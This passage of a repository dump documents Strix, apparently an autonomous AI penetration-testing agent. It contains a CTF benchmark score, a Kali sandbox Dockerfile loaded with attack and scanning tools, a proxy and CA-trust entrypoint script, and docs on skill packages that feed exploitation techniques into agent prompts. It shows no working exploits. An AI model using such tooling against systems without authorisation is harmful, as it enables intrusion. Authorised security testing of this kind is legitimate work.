    "content": "# Benchmarks\n\nWe use security benchmarks to track Strix's capabilities and improvements over time. We plan to add more benchmarks, both existing ones and our own, to help the community evaluate and compare security agents.\n\n\n## Full Details\n\nFor the complete benchmark results, evaluation scripts, and run data, see the [usestrix/benchmarks](https://github.com/usestrix/benchmarks) repository.\n\n> [!NOTE]\n> We are actively adding more benchmarks to our evaluation suite.\n\n\n## Results\n\n| Benchmark | Challenges | Success Rate |\n|-----------|------------|--------------|\n| [XBEN](https://github.com/usestrix/benchmarks/tree/main/XBEN) | 104 | **96%** |\n\n### XBEN\n\nThe [XBOW benchmark](https://github.com/usestrix/benchmarks/tree/main/XBEN) is a set of 104 web security challenges designed to evaluate autonomous penetration testing agents. Each challenge follows a CTF format where the agent must discover and exploit vulnerabilities to extract a hidden flag.\n\nStrix `v0.4.0` achieved a **96% success rate** (100/104 challenges) in black-box mode.\n\n```mermaid\n%%{init: {'theme': 'base', 'themeVariables': { 'pie1': '#3b82f6', 'pie2': '#1e3a5f', 'pieTitleTextColor': '#ffffff', 'pieSectionTextColor': '#ffffff', 'pieLegendTextColor': '#ffffff'}}}%%\npie title Challenge Outcomes (104 Total)\n    \"Solved\" : 100\n    \"Unsolved\" : 4\n```\n\n**Performance by Difficulty:**\n\n| Difficulty | Solved | Success Rate |\n|------------|--------|--------------|\n| Level 1 (Easy) | 45/45 | 100% |\n| Level 2 (Medium) | 49/51 | 96% |\n| Level 3 (Hard) | 6/8 | 75% |\n\n**Resource Usage:**\n- Average solve time: ~19 minutes\n- Total cost: ~$337 for 100 challenges\n"
  },
  {
    "path": "containers/Dockerfile",
    "content": "FROM kalilinux/kali-rolling:latest\n\nLABEL description=\"AI Agent Penetration Testing Environment with Comprehensive Automated Tools\"\n\nRUN apt-get update && \\\n    apt-get install -y kali-archive-keyring sudo && \\\n    apt-get update && \\\n    apt-get upgrade -y\n\nRUN useradd -m -s /bin/bash pentester && \\\n    usermod -aG sudo pentester && \\\n    echo \"pentester ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers && \\\n    touch /home/pentester/.hushlogin\n\nRUN mkdir -p /home/pentester/configs \\\n             /home/pentester/wordlists \\\n             /home/pentester/output \\\n             /home/pentester/scripts \\\n             /home/pentester/tools \\\n             /app/runtime \\\n             /app/tools \\\n             /app/certs && \\\n    chown -R pentester:pentester /app/certs /home/pentester/tools\n\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends \\\n    wget curl git vim nano unzip tar \\\n    apt-transport-https ca-certificates gnupg lsb-release \\\n    build-essential software-properties-common \\\n    gcc libc6-dev pkg-config libpcap-dev libssl-dev \\\n    python3 python3-pip python3-dev python3-venv python3-setuptools \\\n    golang-go \\\n    net-tools dnsutils whois \\\n    jq parallel ripgrep grep \\\n    less man-db procps htop \\\n    iproute2 iputils-ping netcat-traditional \\\n    nmap ncat ndiff \\\n    sqlmap nuclei subfinder naabu ffuf \\\n    nodejs npm pipx \\\n    libcap2-bin \\\n    gdb \\\n    tmux \\\n    libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \\\n    libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2t64 \\\n    fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \\\n    libnss3-tools\n\n\nRUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap)\n\nUSER pentester\nRUN openssl ecparam -name prime256v1 -genkey -noout -out /app/certs/ca.key && \\\n    openssl req -x509 -new -key /app/certs/ca.key \\\n    -out /app/certs/ca.crt \\\n    -days 3650 \\\n    -subj \"/C=US/ST=CA/O=Security Testing/CN=Testing Root CA\" \\\n    -addext \"basicConstraints=critical,CA:TRUE\" \\\n    -addext \"keyUsage=critical,digitalSignature,keyEncipherment,keyCertSign\" && \\\n    openssl pkcs12 -export \\\n    -out /app/certs/ca.p12 \\\n    -inkey /app/certs/ca.key \\\n    -in /app/certs/ca.crt \\\n    -passout pass:\"\" \\\n    -name \"Testing Root CA\" && \\\n    chmod 644 /app/certs/ca.crt && \\\n    chmod 600 /app/certs/ca.key && \\\n    chmod 600 /app/certs/ca.p12\n\nUSER root\nRUN cp /app/certs/ca.crt /usr/local/share/ca-certificates/ca.crt && \\\n    update-ca-certificates\n\nRUN curl -sSL https://install.python-poetry.org | POETRY_HOME=/opt/poetry python3 - && \\\n    ln -s /opt/poetry/bin/poetry /usr/local/bin/poetry && \\\n    chmod +x /usr/local/bin/poetry && \\\n    python3 -m venv /app/venv && \\\n    chown -R pentester:pentester /app/venv /opt/poetry\n\nUSER pentester\nWORKDIR /tmp\n\nRUN go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \\\n    go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \\\n    go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \\\n    go install -v github.com/jaeles-project/gospider@latest && \\\n    go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest\n\nRUN nuclei -update-templates\n\nRUN pipx install arjun && \\\n    pipx install dirsearch && \\\n    pipx inject dirsearch setuptools && \\\n    pipx install wafw00f\n\nENV NPM_CONFIG_PREFIX=/home/pentester/.npm-global\nRUN mkdir -p /home/pentester/.npm-global\n\nRUN npm install -g retire@latest && \\\n    npm install -g eslint@latest && \\\n    npm install -g js-beautify@latest\n\nWORKDIR /home/pentester/tools\nRUN git clone https://github.com/aravind0x7/JS-Snooper.git && \\\n    chmod +x JS-Snooper/js_snooper.sh && \\\n    git clone https://github.com/xchopath/jsniper.sh.git && \\\n    chmod +x jsniper.sh/jsniper.sh && \\\n    git clone https://github.com/ticarpi/jwt_tool.git && \\\n    chmod +x jwt_tool/jwt_tool.py\n\nUSER root\n\nRUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin\n\nRUN apt-get update && apt-get install -y zaproxy\n\nRUN curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin\n\nRUN apt-get install -y wapiti\n\nUSER pentester\n\nRUN pipx install semgrep && \\\n    pipx install bandit\n\nRUN npm install -g jshint\n\nUSER root\n\nRUN apt-get autoremove -y && \\\n    apt-get autoclean && \\\n    rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*\n\nENV PATH=\"/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/venv/bin:$PATH\"\nENV VIRTUAL_ENV=\"/app/venv\"\nENV POETRY_HOME=\"/opt/poetry\"\n\nWORKDIR /app\n\nRUN ARCH=$(uname -m) && \\\n    if [ \"$ARCH\" = \"x86_64\" ]; then \\\n        CAIDO_ARCH=\"x86_64\"; \\\n    elif [ \"$ARCH\" = \"aarch64\" ] || [ \"$ARCH\" = \"arm64\" ]; then \\\n        CAIDO_ARCH=\"aarch64\"; \\\n    else \\\n        echo \"Unsupported architecture: $ARCH\" && exit 1; \\\n    fi && \\\n    wget -O caido-cli.tar.gz https://caido.download/releases/v0.48.0/caido-cli-v0.48.0-linux-${CAIDO_ARCH}.tar.gz && \\\n    tar -xzf caido-cli.tar.gz && \\\n    chmod +x caido-cli && \\\n    rm caido-cli.tar.gz && \\\n    mv caido-cli /usr/local/bin/\n\nENV STRIX_SANDBOX_MODE=true\nENV PYTHONPATH=/app\nENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt\nENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt\n\nRUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app\n\nCOPY pyproject.toml poetry.lock ./\n\nUSER pentester\nRUN poetry install --no-root --without dev --extras sandbox\nRUN poetry run playwright install chromium\n\nRUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt && \\\n    ln -s /home/pentester/tools/jwt_tool/jwt_tool.py /home/pentester/.local/bin/jwt_tool\n\nRUN echo \"# Sandbox Environment\" > README.md\n\nCOPY strix/__init__.py strix/\nCOPY strix/config/ /app/strix/config/\nCOPY strix/utils/ /app/strix/utils/\nCOPY strix/telemetry/ /app/strix/telemetry/\nCOPY strix/runtime/tool_server.py strix/runtime/__init__.py strix/runtime/runtime.py /app/strix/runtime/\n\nCOPY strix/tools/__init__.py strix/tools/registry.py strix/tools/executor.py strix/tools/argument_parser.py strix/tools/context.py /app/strix/tools/\n\nCOPY strix/tools/browser/ /app/strix/tools/browser/\nCOPY strix/tools/file_edit/ /app/strix/tools/file_edit/\nCOPY strix/tools/notes/ /app/strix/tools/notes/\nCOPY strix/tools/python/ /app/strix/tools/python/\nCOPY strix/tools/terminal/ /app/strix/tools/terminal/\nCOPY strix/tools/proxy/ /app/strix/tools/proxy/\n\nRUN echo 'export PATH=\"/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH\"' >> /home/pentester/.bashrc && \\\n    echo 'export PATH=\"/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH\"' >> /home/pentester/.profile\n\nUSER root\nCOPY containers/docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh\nRUN chmod +x /usr/local/bin/docker-entrypoint.sh\n\nUSER pentester\nWORKDIR /workspace\n\nENTRYPOINT [\"docker-entrypoint.sh\"]\n"
  },
  {
    "path": "containers/docker-entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\nCAIDO_PORT=48080\nCAIDO_LOG=\"/tmp/caido_startup.log\"\n\nif [ ! -f /app/certs/ca.p12 ]; then\n  echo \"ERROR: CA certificate file /app/certs/ca.p12 not found.\"\n  exit 1\nfi\n\ncaido-cli --listen 0.0.0.0:${CAIDO_PORT} \\\n          --allow-guests \\\n          --no-logging \\\n          --no-open \\\n          --import-ca-cert /app/certs/ca.p12 \\\n          --import-ca-cert-pass \"\" > \"$CAIDO_LOG\" 2>&1 &\n\nCAIDO_PID=$!\necho \"Started Caido with PID $CAIDO_PID on port $CAIDO_PORT\"\n\necho \"Waiting for Caido API to be ready...\"\nCAIDO_READY=false\nfor i in {1..30}; do\n  if ! kill -0 $CAIDO_PID 2>/dev/null; then\n    echo \"ERROR: Caido process died while waiting for API (iteration $i).\"\n    echo \"=== Caido log ===\"\n    cat \"$CAIDO_LOG\" 2>/dev/null || echo \"(no log available)\"\n    exit 1\n  fi\n\n  if curl -s -o /dev/null -w \"%{http_code}\" http://localhost:${CAIDO_PORT}/graphql/ | grep -qE \"^(200|400)$\"; then\n    echo \"Caido API is ready (attempt $i).\"\n    CAIDO_READY=true\n    break\n  fi\n  sleep 1\ndone\n\nif [ \"$CAIDO_READY\" = false ]; then\n  echo \"ERROR: Caido API did not become ready within 30 seconds.\"\n  echo \"Caido process status: $(kill -0 $CAIDO_PID 2>&1 && echo 'running' || echo 'dead')\"\n  echo \"=== Caido log ===\"\n  cat \"$CAIDO_LOG\" 2>/dev/null || echo \"(no log available)\"\n  exit 1\nfi\n\nsleep 2\n\necho \"Fetching API token...\"\nTOKEN=\"\"\nfor attempt in 1 2 3 4 5; do\n  RESPONSE=$(curl -sL -X POST \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"query\":\"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }\"}' \\\n    http://localhost:${CAIDO_PORT}/graphql)\n\n  TOKEN=$(echo \"$RESPONSE\" | jq -r '.data.loginAsGuest.token.accessToken // empty')\n\n  if [ -n \"$TOKEN\" ] && [ \"$TOKEN\" != \"null\" ]; then\n    echo \"Successfully obtained API token (attempt $attempt).\"\n    break\n  fi\n\n  echo \"Token fetch attempt $attempt failed: $RESPONSE\"\n  sleep $((attempt * 2))\ndone\n\nif [ -z \"$TOKEN\" ] || [ \"$TOKEN\" == \"null\" ]; then\n  echo \"ERROR: Failed to get API token from Caido after 5 attempts.\"\n  echo \"=== Caido log ===\"\n  cat \"$CAIDO_LOG\" 2>/dev/null || echo \"(no log available)\"\n  exit 1\nfi\n\nexport CAIDO_API_TOKEN=$TOKEN\necho \"Caido API token has been set.\"\n\necho \"Creating a new Caido project...\"\nCREATE_PROJECT_RESPONSE=$(curl -sL -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation CreateProject { createProject(input: {name: \\\"sandbox\\\", temporary: true}) { project { id } } }\"}' \\\n  http://localhost:${CAIDO_PORT}/graphql)\n\nPROJECT_ID=$(echo $CREATE_PROJECT_RESPONSE | jq -r '.data.createProject.project.id')\n\nif [ -z \"$PROJECT_ID\" ] || [ \"$PROJECT_ID\" == \"null\" ]; then\n  echo \"Failed to create Caido project.\"\n  echo \"Response: $CREATE_PROJECT_RESPONSE\"\n  exit 1\nfi\n\necho \"Caido project created with ID: $PROJECT_ID\"\n\necho \"Selecting Caido project...\"\nSELECT_RESPONSE=$(curl -sL -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"query\":\"mutation SelectProject { selectProject(id: \\\"'$PROJECT_ID'\\\") { currentProject { project { id } } } }\"}' \\\n  http://localhost:${CAIDO_PORT}/graphql)\n\nSELECTED_ID=$(echo $SELECT_RESPONSE | jq -r '.data.selectProject.currentProject.project.id')\n\nif [ \"$SELECTED_ID\" != \"$PROJECT_ID\" ]; then\n    echo \"Failed to select Caido project.\"\n    echo \"Response: $SELECT_RESPONSE\"\n    exit 1\nfi\n\necho \"✅ Caido project selected successfully.\"\n\necho \"Configuring system-wide proxy settings...\"\n\ncat << EOF | sudo tee /etc/profile.d/proxy.sh\nexport http_proxy=http://127.0.0.1:${CAIDO_PORT}\nexport https_proxy=http://127.0.0.1:${CAIDO_PORT}\nexport HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT}\nexport HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT}\nexport ALL_PROXY=http://127.0.0.1:${CAIDO_PORT}\nexport REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt\nexport SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt\nexport CAIDO_API_TOKEN=${TOKEN}\nEOF\n\ncat << EOF | sudo tee /etc/environment\nhttp_proxy=http://127.0.0.1:${CAIDO_PORT}\nhttps_proxy=http://127.0.0.1:${CAIDO_PORT}\nHTTP_PROXY=http://127.0.0.1:${CAIDO_PORT}\nHTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT}\nALL_PROXY=http://127.0.0.1:${CAIDO_PORT}\nCAIDO_API_TOKEN=${TOKEN}\nEOF\n\ncat << EOF | sudo tee /etc/wgetrc\nuse_proxy=yes\nhttp_proxy=http://127.0.0.1:${CAIDO_PORT}\nhttps_proxy=http://127.0.0.1:${CAIDO_PORT}\nEOF\n\necho \"source /etc/profile.d/proxy.sh\" >> ~/.bashrc\necho \"source /etc/profile.d/proxy.sh\" >> ~/.zshrc\n\nsource /etc/profile.d/proxy.sh\n\necho \"✅ System-wide proxy configuration complete\"\n\necho \"Adding CA to browser trust store...\"\nsudo -u pentester mkdir -p /home/pentester/.pki/nssdb\nsudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password\nsudo -u pentester certutil -A -n \"Testing Root CA\" -t \"C,,\" -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb\necho \"✅ CA added to browser trust store\"\n\necho \"Starting tool server...\"\ncd /app\nexport PYTHONPATH=/app\nexport STRIX_SANDBOX_MODE=true\nexport POETRY_VIRTUALENVS_CREATE=false\nexport TOOL_SERVER_TIMEOUT=\"${STRIX_SANDBOX_EXECUTION_TIMEOUT:-120}\"\nTOOL_SERVER_LOG=\"/tmp/tool_server.log\"\n\nsudo -E -u pentester \\\n  poetry run python -m strix.runtime.tool_server \\\n  --token=\"$TOOL_SERVER_TOKEN\" \\\n  --host=0.0.0.0 \\\n  --port=\"$TOOL_SERVER_PORT\" \\\n  --timeout=\"$TOOL_SERVER_TIMEOUT\" > \"$TOOL_SERVER_LOG\" 2>&1 &\n\nfor i in {1..10}; do\n  if curl -s \"http://127.0.0.1:$TOOL_SERVER_PORT/health\" | grep -q '\"status\":\"healthy\"'; then\n    echo \"✅ Tool server healthy on port $TOOL_SERVER_PORT\"\n    break\n  fi\n  if [ $i -eq 10 ]; then\n    echo \"ERROR: Tool server failed to become healthy\"\n    echo \"=== Tool server log ===\"\n    cat \"$TOOL_SERVER_LOG\" 2>/dev/null || echo \"(no log)\"\n    exit 1\n  fi\n  sleep 1\ndone\n\necho \"✅ Container ready\"\n\ncd /workspace\nexec \"$@\"\n"
  },
  {
    "path": "docs/README.md",
    "content": "# Strix Documentation\n\nDocumentation source files for Strix, powered by [Mintlify](https://mintlify.com).\n\n## Local Preview\n\n```bash\nnpm i -g mintlify\ncd docs && mintlify dev\n```\n"
  },
  {
    "path": "docs/advanced/configuration.mdx",
    "content": "---\ntitle: \"Configuration\"\ndescription: \"Environment variables for Strix\"\n---\n\nConfigure Strix using environment variables or a config file.\n\n## LLM Configuration\n\n<ParamField path=\"STRIX_LLM\" type=\"string\" required>\n  Model name in LiteLLM format (e.g., `openai/gpt-5`, `anthropic/claude-sonnet-4-6`).\n</ParamField>\n\n<ParamField path=\"LLM_API_KEY\" type=\"string\">\n  API key for your LLM provider. Not required for local models or cloud provider auth (Vertex AI, AWS Bedrock).\n</ParamField>\n\n<ParamField path=\"LLM_API_BASE\" type=\"string\">\n  Custom API base URL. Also accepts `OPENAI_API_BASE`, `LITELLM_BASE_URL`, or `OLLAMA_API_BASE`.\n</ParamField>\n\n<ParamField path=\"LLM_TIMEOUT\" default=\"300\" type=\"integer\">\n  Request timeout in seconds for LLM calls.\n</ParamField>\n\n<ParamField path=\"STRIX_LLM_MAX_RETRIES\" default=\"5\" type=\"integer\">\n  Maximum number of retries for LLM API calls on transient failures.\n</ParamField>\n\n<ParamField path=\"STRIX_REASONING_EFFORT\" default=\"high\" type=\"string\">\n  Control thinking effort for reasoning models. Valid values: `none`, `minimal`, `low`, `medium`, `high`, `xhigh`. Defaults to `medium` for quick scan mode.\n</ParamField>\n\n<ParamField path=\"STRIX_MEMORY_COMPRESSOR_TIMEOUT\" default=\"30\" type=\"integer\">\n  Timeout in seconds for memory compression operations (context summarization).\n</ParamField>\n\n## Optional Features\n\n<ParamField path=\"PERPLEXITY_API_KEY\" type=\"string\">\n  API key for Perplexity AI. Enables real-time web search during scans for OSINT and vulnerability research.\n</ParamField>\n\n<ParamField path=\"STRIX_DISABLE_BROWSER\" default=\"false\" type=\"boolean\">\n  Disable browser automation tools.\n</ParamField>\n\n<ParamField path=\"STRIX_TELEMETRY\" default=\"1\" type=\"string\">\n  Global telemetry default toggle. Set to `0`, `false`, `no`, or `off` to disable both PostHog and OTEL unless overridden by per-channel flags below.\n</ParamField>\n\n<ParamField path=\"STRIX_OTEL_TELEMETRY\" type=\"string\">\n  Enable/disable OpenTelemetry run observability independently. When unset, falls back to `STRIX_TELEMETRY`.\n</ParamField>\n\n<ParamField path=\"STRIX_POSTHOG_TELEMETRY\" type=\"string\">\n  Enable/disable PostHog product telemetry independently. When unset, falls back to `STRIX_TELEMETRY`.\n</ParamField>\n\n<ParamField path=\"TRACELOOP_BASE_URL\" type=\"string\">\n  OTLP/Traceloop base URL for remote OpenTelemetry export. If unset, Strix keeps traces local only.\n</ParamField>\n\n<ParamField path=\"TRACELOOP_API_KEY\" type=\"string\">\n  API key used for remote trace export. Remote export is enabled only when both `TRACELOOP_BASE_URL` and `TRACELOOP_API_KEY` are set.\n</ParamField>\n\n<ParamField path=\"TRACELOOP_HEADERS\" type=\"string\">\n  Optional custom OTEL headers (JSON object or `key=value,key2=value2`). Useful for Langfuse or custom/self-hosted OTLP gateways.\n</ParamField>\n\nWhen remote OTEL vars are not set, Strix still writes complete run telemetry locally to:\n\n```bash\nstrix_runs/<run_name>/events.jsonl\n```\n\nWhen remote vars are set, Strix dual-writes telemetry to both local JSONL and the remote OTEL endpoint.\n\n## Docker Configuration\n\n<ParamField path=\"STRIX_IMAGE\" default=\"ghcr.io/usestrix/strix-sandbox:0.1.12\" type=\"string\">\n  Docker image to use for the sandbox container.\n</ParamField>\n\n<ParamField path=\"DOCKER_HOST\" type=\"string\">\n  Docker daemon socket path. Use for remote Docker hosts or custom configurations.\n</ParamField>\n\n<ParamField path=\"STRIX_RUNTIME_BACKEND\" default=\"docker\" type=\"string\">\n  Runtime backend for the sandbox environment.\n</ParamField>\n\n## Sandbox Configuration\n\n<ParamField path=\"STRIX_SANDBOX_EXECUTION_TIMEOUT\" default=\"120\" type=\"integer\">\n  Maximum execution time in seconds for sandbox operations.\n</ParamField>\n\n<ParamField path=\"STRIX_SANDBOX_CONNECT_TIMEOUT\" default=\"10\" type=\"integer\">\n  Timeout in seconds for connecting to the sandbox container.\n</ParamField>\n\n## Config File\n\nStrix stores configuration in `~/.strix/cli-config.json`. You can also specify a custom config file:\n\n```bash\nstrix --target ./app --config /path/to/config.json\n```\n\n**Config file format:**\n\n```json\n{\n  \"env\": {\n    \"STRIX_LLM\": \"openai/gpt-5\",\n    \"LLM_API_KEY\": \"sk-...\",\n    \"STRIX_REASONING_EFFORT\": \"high\"\n  }\n}\n```\n\n## Example Setup\n\n```bash\n# Required\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"sk-...\"\n\n# Optional: Enable web search\nexport PERPLEXITY_API_KEY=\"pplx-...\"\n\n# Optional: Custom timeouts\nexport LLM_TIMEOUT=\"600\"\nexport STRIX_SANDBOX_EXECUTION_TIMEOUT=\"300\"\n\n```\n"
  },
  {
    "path": "docs/advanced/skills.mdx",
    "content": "---\ntitle: \"Skills\"\ndescription: \"Specialized knowledge packages that enhance agent capabilities\"\n---\n\nSkills are structured knowledge packages that give Strix agents deep expertise in specific vulnerability types, technologies, and testing methodologies.\n\n## The Idea\n\nLLMs have broad but shallow security knowledge. They know _about_ SQL injection, but lack the nuanced techniques that experienced pentesters use—parser quirks, bypass methods, validation tricks, and chain attacks.\n\nSkills inject this deep, specialized knowledge directly into the agent's context, transforming it from a generalist into a specialist for the task at hand.\n\n## How They Work\n\nWhen Strix spawns an agent for a specific task, it selects up to 5 relevant skills based on the context:\n\n```python\n# Agent created for JWT testing automatically loads relevant skills\ncreate_agent(\n    task=\"Test authentication mechanisms\",\n    skills=[\"authentication_jwt\", \"business_logic\"]\n)\n```\n\nThe skills are injected into the agent's system prompt, giving it access to:\n\n- **Advanced techniques** — Non-obvious methods beyond standard testing\n- **Working payloads** — Practical examples with variations\n- **Validation methods** — How to confirm findings and avoid false positives\n\n## Skill Categories\n\n### Vulnerabilities\n\nCore vulnerability classes with deep exploitation techniques.\n\n| Skill                                 | Coverage                                               |\n| ------------------------------------- | ------------------------------------------------------ |\n| `authentication_jwt`                  | JWT attacks, algorithm confusion, claim tampering      |\n| `idor`                                | Object reference attacks, horizontal/vertical access   |\n| `sql_injection`                       | SQL injection variants, WAF bypasses, blind techniques |\n| `xss`                                 | XSS types, filter bypasses, DOM exploitation           |\n| `ssrf`                                | Server-side request forgery, protocol handlers         |\n| `csrf`                                | Cross-site request forgery, token bypasses             |\n| `xxe`                                 | XML external entities, OOB exfiltration                |\n| `rce`                                 | Remote code execution vectors                          |\n| `business_logic`                      | Logic flaws, state manipulation, race conditions       |\n| `race_conditions`                     | TOCTOU, parallel request attacks                       |\n| `path_traversal_lfi_rfi`              | File inclusion, path traversal                         |\n| `open_redirect`                       | Redirect bypasses, URL parsing tricks                  |\n| `mass_assignment`                     | Attribute injection, hidden parameter pollution        |\n| `insecure_file_uploads`               | Upload bypasses, extension tricks                      |\n| `information_disclosure`              | Data leakage, error-based enumeration                  |\n| `subdomain_takeover`                  | Dangling DNS, cloud resource claims                    |\n| `broken_function_level_authorization` | Privilege escalation, role bypasses                    |\n\n### Frameworks\n\nFramework-specific testing patterns.\n\n| Skill     | Coverage                                     |\n| --------- | -------------------------------------------- |\n| `fastapi` | FastAPI security patterns, Pydantic bypasses |\n| `nextjs`  | Next.js SSR/SSG issues, API route security   |\n\n### Technologies\n\nThird-party service and platform security.\n\n| Skill                | Coverage                           |\n| -------------------- | ---------------------------------- |\n| `supabase`           | Supabase RLS bypasses, auth issues |\n| `firebase_firestore` | Firestore rules, Firebase auth     |\n\n### Protocols\n\nProtocol-specific testing techniques.\n\n| Skill     | Coverage                                         |\n| --------- | ------------------------------------------------ |\n| `graphql` | GraphQL introspection, batching, resolver issues |\n\n### Tooling\n\nSandbox CLI playbooks for core recon and scanning tools.\n\n| Skill       | Coverage                                                |\n| ----------- | ------------------------------------------------------- |\n| `nmap`      | Port/service scan syntax and high-signal scan patterns  |\n| `nuclei`    | Template selection, severity filtering, and rate tuning |\n| `httpx`     | HTTP probing and fingerprint output patterns            |\n| `ffuf`      | Wordlist fuzzing, matcher/filter strategy, recursion    |\n| `subfinder` | Passive subdomain enumeration and source control        |\n| `naabu`     | Fast port scanning with explicit rate/verify controls   |\n| `katana`    | Crawl depth/JS/known-files behavior and pitfalls        |\n| `sqlmap`    | SQLi workflow for enumeration and controlled extraction  |\n\n## Skill Structure\n\nEach skill is a Markdown file with YAML frontmatter for metadata:\n\n```markdown\n---\nname: skill_name\ndescription: Brief description of the skill's coverage\n---\n\n# Skill Title\n\nKey insight about this vulnerability or technique.\n\n## Attack Surface\nWhat this skill covers and where to look.\n\n## Methodology\nStep-by-step testing approach.\n\n## Techniques\nHow to discover and exploit the vulnerability.\n\n## Bypass Methods\nHow to bypass common protections.\n\n## Validation\nHow to confirm findings and avoid false positives.\n```\n\n## Contributing Skills\n\nCommunity contributions are welcome. Create a `.md` file in the appropriate category with YAML frontmatter (`name` and `description` fields). Good skills include:\n\n1. **Real-world techniques** — Methods that work in practice\n2. **Practical payloads** — Working examples with variations\n3. **Validation steps** — How to confirm without false positives\n4. **Context awareness** — Version/environment-specific behavior\n"
  },
  {
    "path": "docs/cloud/overview.mdx",
    "content": "---\ntitle: \"Introduction\"\ndescription: \"Managed security testing without local setup\"\n---\n\nSkip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai).\n\n## Features\n\n<CardGroup cols={2}>\n  <Card title=\"No Setup Required\" icon=\"cloud\">\n    No Docker, API keys, or local installation needed.\n  </Card>\n  <Card title=\"Full Reports\" icon=\"file-lines\">\n    Detailed findings with remediation guidance.\n  </Card>\n  <Card title=\"Team Dashboards\" icon=\"users\">\n    Track vulnerabilities and fixes over time.\n  </Card>\n  <Card title=\"GitHub Integration\" icon=\"github\">\n    Automatic scans on pull requests.\n  </Card>\n</CardGroup>\n\n## What You Get\n\n- **Penetration test reports** — Validated findings with PoCs\n- **Shareable dashboards** — Collaborate with your team\n- **CI/CD integration** — Block risky changes automatically\n- **Continuous monitoring** — Catch new vulnerabilities quickly\n\n## Getting Started\n\n1. Sign up at [app.strix.ai](https://app.strix.ai)\n2. Connect your repository or enter a target URL\n3. Launch your first scan\n\n<Card title=\"Try Strix Cloud\" icon=\"rocket\" href=\"https://app.strix.ai\">\n  Run your first pentest in minutes.\n</Card>\n"
  },
  {
    "path": "docs/contributing.mdx",
    "content": "---\ntitle: \"Contributing\"\ndescription: \"Contribute to Strix development\"\n---\n\n## Development Setup\n\n### Prerequisites\n\n- Python 3.12+\n- Docker (running)\n- Poetry\n- Git\n\n### Local Development\n\n<Steps>\n  <Step title=\"Clone the repository\">\n    ```bash\n    git clone https://github.com/usestrix/strix.git\n    cd strix\n    ```\n  </Step>\n  <Step title=\"Install dependencies\">\n    ```bash\n    make setup-dev\n\n    # or manually:\n    poetry install --with=dev\n    poetry run pre-commit install\n    ```\n  </Step>\n  <Step title=\"Configure LLM\">\n    ```bash\n    export STRIX_LLM=\"openai/gpt-5\"\n    export LLM_API_KEY=\"your-api-key\"\n    ```\n  </Step>\n  <Step title=\"Run Strix\">\n    ```bash\n    poetry run strix --target https://example.com\n    ```\n  </Step>\n</Steps>\n\n## Contributing Skills\n\nSkills are specialized knowledge packages that enhance agent capabilities. They live in `strix/skills/`\n\n### Creating a Skill\n\n1. Choose the right category\n2. Create a `.md` file with YAML frontmatter (`name` and `description` fields)\n3. Include practical examples—working payloads, commands, test cases\n4. Provide validation methods to confirm findings\n5. Submit via PR\n\n## Contributing Code\n\n### Pull Request Process\n\n1. **Create an issue first** — Describe the problem or feature\n2. **Fork and branch** — Work from `main`\n3. **Make changes** — Follow existing code style\n4. **Write tests** — Ensure coverage for new features\n5. **Run checks** — `make check-all` should pass\n6. **Submit PR** — Link to issue and provide context\n\n### Code Style\n\n- PEP 8 with 100-character line limit\n- Type hints for all functions\n- Docstrings for public methods\n- Small, focused functions\n- Meaningful variable names\n\n## Reporting Issues\n\nInclude:\n\n- Python version and OS\n- Strix version (`strix --version`)\n- LLM being used\n- Full error traceback\n- Steps to reproduce\n\n## Community\n\n<CardGroup cols={2}>\n  <Card title=\"Discord\" icon=\"discord\" href=\"https://discord.gg/strix-ai\">\n    Join the community for help and discussion.\n  </Card>\n  <Card title=\"GitHub Issues\" icon=\"github\" href=\"https://github.com/usestrix/strix/issues\">\n    Report bugs and request features.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/docs.json",
